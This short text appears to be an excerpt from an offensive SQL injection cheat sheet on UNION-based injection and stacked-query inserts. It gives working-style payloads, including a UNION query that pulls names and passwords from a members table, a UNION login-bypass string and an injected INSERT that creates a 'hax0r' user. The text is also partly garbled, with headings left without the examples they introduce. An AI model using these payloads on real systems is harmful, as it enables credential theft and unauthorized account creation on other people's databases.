With union you do SQL queries cross-table.
Basically you can poison query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem.
It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
For every possible issue:
Hex()
So start with convert() then union:
Simple Insert:
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*